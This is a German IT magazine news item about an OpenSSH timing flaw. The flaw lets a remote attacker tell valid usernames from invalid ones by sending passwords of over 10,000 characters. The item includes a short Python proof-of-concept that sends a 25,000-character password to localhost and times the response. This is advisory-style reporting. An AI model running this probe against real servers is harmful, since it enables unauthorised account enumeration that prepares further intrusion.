Open Source im professionellen Einsatz

OpenSSH: Angreifer kann Benutzernamen erraten

Eine Sicherheitslücke in OpenSSH hat zur Folge, dass ein entfernter Angreifer gültige Benutzernamen des Systems erraten kann. Normalerweise sollte eine solche Attacke verhindert werden, da selbst das Wissen über Benutzernamen des Systems dem Angreifer für weitere Attacken behilflich sein kann. Allerdings enthält OpenSSH an dieser Stelle einen Fehler, der es dem Angreifer gestattet Benutzernamen zu erraten. Das Problem tritt auf, wenn der Angreifer einen sehr langen String als Passwort zu verwendet. Hat dieser String mehr als 10,000 Zeichen, so kann der Angreifer anhand der Antwortzeit des SSH-Servers festellen, ob es sich um einen gültigen oder falschen Benutzernamen handelt. Das Problem tritt nur auf, wenn die Passwort-Hashes mit SHA256/SHA512 berechnet wurden. Folgender Python-Code testet genau dies:  

import paramiko 
import time 
user=raw_input("user: ") 
p='A'*25000 
ssh = paramiko.SSHClient() 
starttime=time.clock() 
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
try: 
   ssh.connect('127.0.0.1', username=user, password=p) 
except: 
   endtime=time.clock() 
total=endtime-starttime 
print(total)

Dieser Code fragt zunächst den zu testenden Benutzernamen ab. Anschliessend wird über das time-Modul die Zeit der SSH-Antwort ermittelt. Das übergebene Passwort bersteht aus 25,000 'A'-Zeichen. Am Ende des Codes wird die Zeitdifferenz angezeigt anhand derer sich dann ablesen lässt, ob der Benutzername im System bekannt ist. Gültige Benuternamen führen zu längeren Antwortzeiten des Servers. Ursache für den Zeitunterscheid liegen im Hashing-Code.    

comments powered by Disqus

Ausgabe 11/2017

Digitale Ausgabe: Preis € 6,40
(inkl. 19% MwSt.)

Stellenmarkt

Artikelserien und interessante Workshops aus dem Magazin können Sie hier als Bundle erwerben.